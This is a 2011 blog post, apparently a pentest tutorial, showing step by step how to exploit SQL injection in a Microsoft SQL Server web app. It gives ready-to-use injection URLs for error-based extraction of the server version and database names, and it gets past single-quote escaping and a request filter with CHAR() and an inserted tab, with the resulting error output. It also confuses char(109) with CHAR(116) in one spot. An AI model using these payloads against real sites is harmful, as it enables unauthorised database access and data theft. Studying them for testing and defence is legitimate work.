Thursday, August 18, 2011

SQL Injection - Bypassing Single Quotes

DISCLAIMER: For Educational Purposes Only.

Level: Entry Level.

Introduction:

I do not want to reinvent the wheel, just that I did not find enough information (actually I did not find anything clear enough) when trying to bypass single quotes filters via CHAR() MSSQL function, so I decided to write my own steps here.

Scenario:

You found a SQL Injection in a web site, however you need to bypass some security controls and below are the steps taken.

Scope:

Applicable to Microsoft SQL 200x although the methodology works for every database.

Step 1: We found a SQL Error in the Web App by adding letters to a numeric field:

http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019danux

And therefore we got something like:

[SQLServer JDBC Driver][SQLServer]Incorrect syntax near 'danux'.

Every time you get a SQL error in the response, that means your input was executed successfully by the DB Engine and therefore that input field is injectable.

Then we confirm this by adding a SQL command like:

http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 having 1%3d1

And we get a Syntax error confirming our input is being executed as SQL commands:

[SQLServer JDBC Driver][SQLServer]Column 'db.dbo.table.field' is invalid in the HAVING clause because it is not contained in either an aggregate function or the GROUP BY clause.

NOTE: Every App is different so you will need to calculate your own injection string, in my case I do not need to add comments "--" at the end or single quotes (so far).

Step 2: Trying to get DB Engine and Version via (select @@version)

http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 IN (select @@version)

And we noticed no response is returned!!!!

Escalation 1: Looks like there is some filter in the Server side that is not allowing us to get the information back, so a good trick is to get our information via a SQL Error message, commonly by trying to convert a string into an integer, so we will try to do that:

e.g. select char(@@version)

Whole URL:
http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 IN (select char(@@version))

The DB will try to convert the string into an integer which is not possible and therefore and error will be generated along with our information:

[SQLServer JDBC Driver][SQLServer]Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.5000.00 (X64) Dec 10 2010 10:38:40 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.0 (Build 6001: Service Pack 1) ' to data type int

From now on in this Pentest we know we will need to do this kind of conversions to get our required information.

Step 3: Lets try to get database names by injecting:

http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases)

And we get the default one "master" in the SQL error:

[SQLServer JDBC Driver][SQLServer]Conversion failed when converting the nvarchar value 'master' to data type int.

Step 4: Now we can start searching for more databases so we do something like:

http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where NAME not like 'master')

BUT we noticed our single quotes are being escaped:

019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where name not like ''master%'')

Escalation 2: We use CHAR() MSSQL Function to avoid using single quotes so we inject something like:

http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where name not like char(109)%2bchar(37)

char(116) = m
%2b = +
char(37) = %

result = name not like CHAR(116)+CHAR(37)
Or in human readable syntax: name not like 'm%'

But when we inject it, we do not get a response again which means a filter in the Server side is detecting this attempts, so here is where your mind need to start thinking how to bypass filters, after some minutes I decided to break the pattern by adding a horizontal tab (ASCII 09 decimal) along with the space: char(109)%2b%09char(37):

http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where name not like char(109)%2b%09char(37))

And guess what:

[SQLServer JDBC Driver][SQLServer]Conversion failed when converting the nvarchar value 'tempdb' to data type int.

We got the second default DB which means Game Over! we can dump the whole database and if we are lucky we could escalate it and get a remote shell (out of scope of this article).

We could start getting more data base names by discarding the ones we already got, something like:

where name not like 'master' and name not like 'tempdb' and name not like ..... using above instructions.

The next immediate step would be to start listing the tables from the DB and then the fields from those tables like:

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

Well known references:

1. http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
2. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/


Hope this helps.